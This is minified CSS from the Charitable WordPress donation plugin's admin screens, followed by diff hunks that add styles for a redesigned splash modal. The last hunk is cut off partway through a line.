a.button-visit{float:left}.charitable-disabled{cursor:default;opacity:0.5;pointer-events:none}.charitable-headline-reports,.charitable-restricted{position:relative}.restricted-access-overlay{position:absolute;display:flex;justify-content:center;inset:1px;background-color:hsla(0, 0%, 100%, 0.35);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px);z-index:99}body.modal-open{overflow:hidden}.charitable-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite;float:right}[dir=ltr] #toplevel_page_charitable .charitable-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_charitable .charitable-menu-notification-indicator{float:left}@keyframes wpchar-menu-notification-indicator-pulse{0%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0, 0, 0, 0.7)}70%{transform:scale(1);box-shadow:0 0 0 15px rgba(0, 0, 0, 0)}100%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0, 0, 0, 0)}}.charitable-notification{margin-bottom:20px}.charitable-notification:last-child{margin-bottom:0}.charitable-notification > div{display:flex;align-items:flex-start;padding-bottom:10px;border-bottom:1px solid #e8e8eb}.charitable-notification > div:last-child{padding-bottom:0;border-bottom:0;margin-bottom:0}.charitable-notification > div .body{font-size:14px;line-height:22px;flex:1}.charitable-notification > div .body .title{font-size:14px;font-weight:600;color:#141b38;margin-bottom:9px;display:flex;align-items:left;flex-direction:column}.charitable-notification > div .body .title.dashboard-title{flex-direction:row}.charitable-notification > div .body .title div:first-child{flex:1;line-height:22px}[dir=ltr] .charitable-notification > div .body .title div:first-child{margin-right:5px}[dir=rtl] .charitable-notification > div .body .title div:first-child{margin-left:5px}.charitable-notification > div .body .title .date{font-weight:initial;color:#8c8f9a;font-size:12px}.charitable-notification > div .body .notification-content{margin-bottom:12px;max-width:calc(100% - 110px)}.charitable-notification > div .body .notification-content img{max-width:100%}.charitable-notification > div .body .actions{flex-wrap:wrap;display:flex;align-items:baseline}[dir=rtl] .charitable-notification > div .body .actions{flex-direction:row-reverse;justify-content:right}.charitable-notification > div .body .actions > *{margin-bottom:12px}[dir=ltr] .charitable-notification > div .body .actions .charitable-button{margin-right:20px}[dir=rtl] .charitable-notification > div .body .actions .charitable-button{margin-left:20px}.charitable-notification > div .body .actions .dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-notification > div .icon{margin-right:14px}[dir=ltr] .charitable-notification > div .icon{margin-right:14px}[dir=rtl] .charitable-notification > div .icon{margin-left:14px}.charitable-notification > div .icon svg{width:25px;height:25px;color:#00aa63}.charitable-notification > div .icon svg.warning{color:#f18200}.charitable-notification > div .icon svg.info{color:#E38632}.charitable-notification > div .icon svg.success{color:#00aa63}.charitable-notification > div .icon svg.error{color:#df2a4a}.charitable-notification .actions{display:flex;justify-content:left;align-items:center;margin-top:5px}.charitable-notification .actions .dismiss{margin-left:10px;text-decoration:none;font-size:12px;line-height:14px;text-decoration:underline}.charitable-notification .actions .dismiss:hover{color:#8c8f9a}.charitable-notification .charitable-notifications-buttons{display:flex;justify-content:space-between;margin-top:5px}.charitable-notification .button.button-primary{padding:3px 15px !important;border-radius:5px !important;font-size:13px !important;line-height:2.15 !important;background-color:#E38632;color:#fff;border-color:#E38632}.charitable-notification .button.button-primary:hover{padding:3px 16px;border-radius:5px;background-color:#E38632;border-color:#E38632;filter:brightness(0.9)}.charitable-notification .button.button-secondary{padding:3px 15px !important;border-radius:5px !important;font-size:13px !important;line-height:2.15 !important;margin-left:15px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}.charitable-notification .button.button-secondary:hover{padding:3px 16px;border-radius:5px;background-color:#F9F9FA;border-color:#E4E4E7;filter:brightness(0.9)}.charitable-notification-cards{display:none}.charitable-notification-cards.notification-cards-visible{display:block}.charitable-notification-cards .charitable-notification:last-child > div{border-bottom:none;margin-bottom:none}.charitable-notification-cards .no-notifications{display:flex;align-items:center;flex-direction:column;font-size:14px;line-height:22px;color:#8c8f9a}.charitable-notification-cards .no-notifications img{width:30%;max-width:108px;height:auto}.charitable-notification-cards .no-notifications .great-scott{margin:20px 0 8px;font-size:18px;font-weight:600;color:#434960}.charitable-notification-cards .no-notifications .no-new-notifications{margin-bottom:20px}@media (min-height:500px){.charitable-notification-cards .no-notifications{padding-top:100px}}body.charitable-show-notifications .charitable-main{pointer-events:none;-webkit-user-select:none;user-select:none}.charitable-plugin-notifications{margin-top:32px;position:fixed;top:0;z-index:999992;width:570px;right:-570px;-webkit-transition:right 500ms ease-out;-moz-transition:right 500ms ease-out;-o-transition:right 500ms ease-out;transition:right 500ms ease-out}.charitable-plugin-notifications.in{right:0}[dir=rtl] .charitable-plugin-notifications{left:-570px;-webkit-transition:left 500ms ease-out;-moz-transition:left 500ms ease-out;-o-transition:left 500ms ease-out;transition:left 500ms ease-out}[dir=rtl] .charitable-plugin-notifications.in{left:0}.charitable-plugin-notifications a.dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-plugin-notifications .charitable-button{border-radius:5px;font-family:"Inter", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;text-decoration:none;display:inline-block;cursor:pointer;min-height:30px;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:white}.charitable-plugin-notifications .charitable-button.charitable-button-green{background-color:#00aa63}.charitable-plugin-notifications .charitable-button.charitable-button-orange{background-color:#e27730}.charitable-plugin-notifications .notification-menu{display:flex;flex-direction:column;height:calc(100% - var(--wp-admin--admin-bar--height, 32px));width:100%;max-width:570px;position:fixed;z-index:1053;top:32px;bottom:0;background-color:white;overflow-x:hidden;transition:0.5s}.charitable-plugin-notifications .notification-menu .notification-header{height:64px;display:flex;align-items:center;padding:0 20px;color:#fff;background-color:#E38632}.charitable-plugin-notifications .notification-menu .notification-header .new-notifications,.charitable-plugin-notifications .notification-menu .notification-header .old-notifications{font-size:18px;font-weight:600;display:none}.charitable-plugin-notifications .notification-menu .notification-header .notifications-visible{display:block}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{flex:1 1 auto;margin-left:25px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-left:25px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-right:25px}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a{font-size:12px;color:#fff}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a:focus{border:0;box-shadow:none}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close{width:14px;height:14px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close:hover{color:#ccc}.charitable-plugin-notifications .notification-menu .notification-cards{flex:1;padding:24px;overflow:auto}.charitable-plugin-notifications .notification-menu .notification-footer{padding:24px;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination{flex:1;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{font-size:13px;color:#141b38;background:#e8e8eb;height:30px;width:30px;display:flex;align-items:center;justify-content:center;border-radius:2px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number.active, .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:hover{color:#fff;background-color:#E38632}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-right:4px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-right:0}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-left:4px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-left:0}.charitable-plugin-notifications .charitable-notifications-overlay{display:none;position:fixed;z-index:998;top:32px;bottom:0;background-color:#141b38;opacity:0.5;transition:0.5s;cursor:pointer;right:0;left:160px}[dir=ltr] .charitable-plugin-notifications .charitable-notifications-overlay{right:0;left:160px}[dir=rtl] .charitable-plugin-notifications .charitable-notifications-overlay{left:0;right:160px}.charitable-plugin-notifications .notifications-fade-enter-active,.charitable-plugin-notifications .notifications-fade-leave-active{transition:opacity 0.5s}.charitable-plugin-notifications .notifications-fade-enter-from,.charitable-plugin-notifications .notifications-fade-leave-to{opacity:0}.charitable-plugin-notifications .notifications-slide-enter-active,.charitable-plugin-notifications .notifications-slide-leave-active{transition:all 0.5s ease-in-out}.charitable-plugin-notifications [dir=ltr] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=ltr] .notifications-slide-leave-to{right:-570px}.charitable-plugin-notifications [dir=rtl] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=rtl] .notifications-slide-leave-to{left:-570px}@media print{.charitable-plugin-notifications{display:none}}.charitable-dashboard-notifications{background-color:white;box-shadow:0 0 30px rgba(0, 0, 0, 0.15);border-radius:4px;position:relative}.charitable-dashboard-notifications .charitable-dashboard-notification{padding:10px;display:flex;justify-content:left;background-color:#f18500;text-align:left;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification .charitable-dashboard-notification-icon{margin:0 10px 0 10px;width:18px;height:18px}.charitable-dashboard-notifications .charitable-dashboard-notification h4.charitable-dashboard-notification-headline{display:none}.charitable-dashboard-notifications .charitable-dashboard-notification p:first-of-type{margin-top:0}.charitable-dashboard-notifications .charitable-dashboard-notification-bar{position:absolute;right:0px;top:0px;display:flex;justify-content:space-between;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:relative;right:20px;top:-14px;padding:0px;display:flex;justify-content:space-between;align-items:center;min-height:45px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{cursor:pointer;color:black;text-decoration:none;font-weight:200;font-size:32px;line-height:32px;display:inline-block;opacity:0.3;padding:0px 4px;position:relative;top:1px;border-radius:5px;background-color:transparent}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a:hover{opacity:0.5}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 4px;line-height:32px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:relative;right:5px;top:-10px;font-size:14px;line-height:14px;width:18px;height:18px;text-decoration:none;opacity:0.3;background-image:url(../../images/onboarding/checklist/times-circle-regular.svg);color:white;background-color:white;-webkit-mask-image:url(../../images/onboarding/checklist/times-circle-regular.svg);mask-image:url(../../images/onboarding/checklist/times-circle-regular.svg)}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{opacity:0.5}.charitable-dashboard-notifications .charitable-dashboard-notification{background-color:white;border:1px solid #c3c4c7;border-left-width:4px;padding:0;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);border-radius:4px;border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-notice{border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-important{border-left-color:#EAA465}.charitable-dashboard-notifications .charitable-dashboard-notification-message{padding:20px}.charitable-dashboard-notifications .charitable-dashboard-notification-message h5:first-of-type{font-size:18px;line-height:21px;margin:0 0 10px 0;padding:0}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:first-child{margin-top:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:last-child{margin-bottom:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message ul, .charitable-dashboard-notifications .charitable-dashboard-notification-message ol{margin-top:5px}.charitable-dashboard-notifications ul{margin:0 0 0 20px;padding:0;list-style-type:disc}.charitable-dashboard-notifications .charitable-dashboard-notification[data-notification-type=notice] header{background-color:#0054f1}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice{background-color:#f0f6fc;border-left:solid 4px #017cba;color:#1e1e1e;padding:12px 12px 12px 16px;margin-bottom:0}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice strong{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice a{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice.wpchar-warning{background-color:#fef8ee;border-left-color:#efb84a;margin-bottom:12px}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations .charitable-logo{max-width:255px !important;margin-bottom:10px !important;padding-bottom:10px !important;border-bottom:1px solid #e8e8eb}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations p{margin-top:2px !important;margin-bottom:2px !important}body.post-type-donation.charitable-admin-donation-edit #post-body input[type=text],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=email],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=number],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=password],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=search],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=tel],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=url]{padding:8px 10px}body.post-type-donation.charitable-admin-donation-edit #donation-form-meta{padding-top:0}body.post-type-donation.charitable-admin-donation-edit #postbox-container-2 .postbox-header{display:none}#charitable-reports .charitable-report-table-container{position:relative}#charitable-reports .charitable-report-table-container .reports-lite-cta{z-index:999;position:absolute;top:25%;left:0;right:0;margin:25px}@media screen and (max-width:1200px){body.charitable_page_charitable-reports .charitable-cards .charitable-card, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:30px;padding-bottom:30px}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}}@media screen and (max-width:1000px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:42px;line-height:44px}}@media screen and (max-width:800px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-reports .charitable-section-grid, body.charitable_page_charitable-dashboard .charitable-section-grid{grid-template-columns:repeat(1, 1fr)}body.charitable_page_charitable-reports .charitable-section-grid.one-third, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-reports .charitable-section-flexible, body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:1;column-gap:0;display:block}#charitable-reports .charitable-report-table-container table.wp-list-table th, #charitable-reports .charitable-report-table-container table.wp-list-table td{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#charitable-reports .charitable-report-table-container table.wp-list-table th.charitable-avatar, #charitable-reports .charitable-report-table-container table.wp-list-table td.charitable-avatar{display:none;width:1px}#charitable-reports .charitable-report-table-container table.wp-list-table td.manage-column.column-actions, #charitable-reports .charitable-report-table-container table.wp-list-table th.manage-column.column-actions{width:30px}}@media screen and (max-width:700px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-reports .charitable-section-grid, body.charitable_page_charitable-dashboard .charitable-section-grid{grid-template-columns:repeat(1, 1fr)}body.charitable_page_charitable-reports .charitable-section-grid.one-third, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-reports .charitable-section-flexible, body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:1;column-gap:0;display:block}}body.charitable_page_charitable-settings .charitable-education-page .charitable-settings-heading-pro h4{margin-top:40px}.charitable-education-page{max-width:1000px;margin-bottom:30px;padding:0}.charitable-education-page .charitable-education-page-heading h4,.charitable-education-page .charitable-settings-heading-pro h4{font-size:20px;font-weight:600;margin:20px 0 6px 0;line-height:20px}.charitable-education-page .charitable-education-page-heading h4:after,.charitable-education-page .charitable-settings-heading-pro h4:after{background-color:#F99E36;color:white;content:"Pro";padding:3px 7px;font-size:9px;line-height:9px;text-transform:uppercase;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-3px}.charitable-education-page .charitable-education-page-images{display:flex;gap:25px;margin:25px 0px}.charitable-education-page .charitable-education-page-images figure{margin:0}.charitable-education-page .charitable-education-page-images figcaption{font-style:normal;font-weight:400;font-size:14px;line-height:17px;text-align:center;color:rgb(119, 119, 119);margin-top:10px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image{display:inline-block;position:relative;background-color:rgb(255, 255, 255);box-shadow:rgba(0, 0, 0, 0.05) 0px 2px 5px 0px;padding:5px;border-radius:3px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image img{max-width:100%;display:block}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image .hover{position:absolute;opacity:0;height:calc(100% - 10px);width:calc(100% - 10px);top:0;left:0;border:5px solid #ffffff;background-color:rgba(0, 0, 0, 0.15);background-image:url(../../images/pro/icons/zoom.svg);background-repeat:no-repeat;background-position:center;background-size:50px;transition:all 0.3s;box-sizing:initial}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image:hover .hover{opacity:1;transition:all 0.3s}.charitable-education-page .charitable-education-page-caps{max-width:986px;box-sizing:content-box;box-shadow:rgba(0, 0, 0, 0.05) 0px 2px 4px;background:rgb(255, 255, 255);border-radius:6px;padding:20px 20px 0 20px;overflow:auto}.charitable-education-page .charitable-education-page-caps p{font-weight:600;font-size:16px;line-height:23px;color:#32373c;margin-bottom:20px;margin-top:0}.charitable-education-page .charitable-education-page-caps ul{display:flex;flex-wrap:wrap;margin:0}.charitable-education-page .charitable-education-page-caps ul li{flex:0 0 calc(33.333% - 40px);font-weight:400;font-size:14px;line-height:20px;color:rgb(80, 87, 94);margin-bottom:20px;position:relative;padding-left:20px;padding-right:20px}.charitable-education-page .charitable-education-page-caps ul li i{margin-right:10px;position:absolute;top:2px;left:0}.charitable-education-page .charitable-education-page-button{margin-top:25px}.charitable-education-page .charitable-education-page-button a{font-size:16px;font-weight:600;padding:16px 28px !important;background-color:#5AA152 !important;color:#ffffff !important}.charitable-education-page .charitable-education-page-button a:hover{background-color:#4a8742 !important}.charitable-education-page .charitable-education-page-disabled-download{margin-top:25px}.charitable-education-page .charitable-education-page-disabled-download p{font-size:16px;font-weight:600;color:#d63638}body.charitable-admin-promotion-footer #wpbody{padding-bottom:150px !important}#wpfooter .charitable-footer-promotion{text-align:center;font-weight:400;font-size:13px;line-height:normal;color:#646970;padding:30px 0;margin-bottom:20px}#wpfooter .charitable-footer-promotion p{font-weight:600}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links,#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{display:flex;justify-content:center;align-items:center}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{margin:10px 0;color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a{color:#056aab}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a:hover{color:#04558a}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links span{color:#c3c4c7;padding:0 7px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{gap:10px;margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li{margin-bottom:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li path{color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li:hover path{fill:#50575e}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li a{display:block;height:16px}#wpfooter #footer-left{color:#50575e;font-size:13px;font-style:normal;font-weight:400;line-height:normal}#wpfooter #footer-left strong{font-weight:600}@media (max-width:782px){body.charitable-admin-promotion-footer #wpbody{padding-bottom:200px !important}#wpfooter .charitable-footer-promotion{padding:20px 0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{flex-direction:column;gap:10px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links li{margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{margin-top:20px}}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge{color:#fff;background-color:#E89940 !important;font-weight:600;padding:0px 8px;border-radius:4px;margin:0 4px;display:inline-block;white-space:nowrap;border:2px solid black;font-size:12px;line-height:25px}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge::before{content:"⚠ ";margin-right:4px;font-weight:bold}#wpadminbar .charitable-test-mode-active:hover .charitable-test-mode-badge{background-color:#d68a37 !important}@keyframes charitable-test-mode-flash{0%{background-color:transparent}50%{background-color:rgba(232, 153, 64, 0.5);color:white}100%{background-color:transparent}}tr.charitable-settings-field.charitable-test-mode-checkbox.charitable-test-mode-flash{animation:charitable-test-mode-flash 2s ease-in-out}.charitable-global-upgrade-cta{width:fit-content;margin-left:auto;margin-right:auto;padding:20px 80px;background:white}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-title{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:0.01em;text-align:center;color:rgba(25, 29, 45, 0.8);margin:0;padding-top:10px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px auto;max-width:530px;justify-content:center}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:rgb(218, 144, 33);border:none;border-radius:4px;padding:22px 42px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0px;color:white;cursor:pointer;transition:background 0.2s ease;text-decoration:none}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:rgb(196, 130, 30)}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0px;text-align:center;text-decoration:underline;color:rgba(25, 29, 45, 0.5);transition:color 0.2s ease}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25, 29, 45, 0.7)}#charitable-reports .charitable-report-table-container .reports-lite-cta{margin:auto !important;box-shadow:0 2px 8px rgba(0, 0, 0, 0.1)} \ No newline at end of file @@ -483,3 +483,131 @@ display: none; } } + +/* --------------------------------------------------------------------------- + * Splash redesign (1.8.10): dark hero, full-width sections, video, more-features. + * Ported from Charitable Pro splash. Scoped to #charitable-splash-modal so it + * only affects the splash screen, not other admin UI. + * ------------------------------------------------------------------------- */ +#charitable-splash-modal header { + padding: 50px 40px; + background: #2c3338; + color: #ffffff; +} +#charitable-splash-modal header h2 { + color: #ffffff; +} +#charitable-splash-modal header .charitable-splash-header-content p { + color: rgba(255, 255, 255, 0.7); +} + +#charitable-splash-modal main .charitable-splash-section { + margin-bottom: 0; + padding: 40px; + border-bottom: 1px solid #ccc; +} +#charitable-splash-modal main .charitable-splash-section:last-child { + border-bottom: none; +} + +#charitable-splash-modal main .charitable-splash-section:first-child { + background: #2c3338; + padding: 0 40px 40px 40px; + margin-bottom: 0; + border-bottom: none; +} +#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content, +#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content h3 { + color: #ffffff; +} +#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content p { + color: rgba(255, 255, 255, 0.7); +} +#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-badge { + background-color: rgba(255, 255, 255, 0.15); + color: #ffffff; +} + +#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content { + text-align: left !important; +} +#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons { + justify-content: start !important; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image { + order: 1; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-content { + order: 2; +} +#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content, +#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-image { + order: revert; +} + +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap { + width: 100%; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed { + position: relative; + width: 100%; + padding-top: 56.25%; + border-radius: 6px; + overflow: hidden; + background: #000; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed iframe { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video { + display: block; + width: 100%; + border-radius: 6px; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video::-webkit-media-controls { + opacity: 0; + transition: opacity 0.2s ease; +} +#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap:hover video::-webkit-media-controls { + opacity: 1; +} + +#charitable-splash-modal main .charitable-splash-section-more-features { + display: block; + padding: 30px 40px 40px; + text-align: left; +} +#charitable-splash-modal main .charitable-splash-section-more-features h3 { + font-size: 18px; + font-weight: 600; + color: #1d2327; + margin: 0 15px 15px 0px !important; + text-align: left; +} +#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 8px 30px; + list-style: none; + padding: 0; + margin: 0; + color: #acacac; + font-size: 16px; + font-weight: 400; + line-height: 22px; + text-align: left; +} +#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list li { + margin: 0; + text-align: left; + list-style: none; +} + +body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p { + color: #acacac; +} @@ -1 +1 @@ -body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{max-width:1000px}body.charitable-splash-modal.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:0!important;width:100%!important}#charitable-splash-modal header{display:flex;align-items:center;gap:30px;padding:50px 100px;background:linear-gradient(180deg,#f6f7f7 0,rgba(246,247,247,0) 100%)}#charitable-splash-modal header .charitable-splash-header-content{text-align:left!important}#charitable-splash-modal 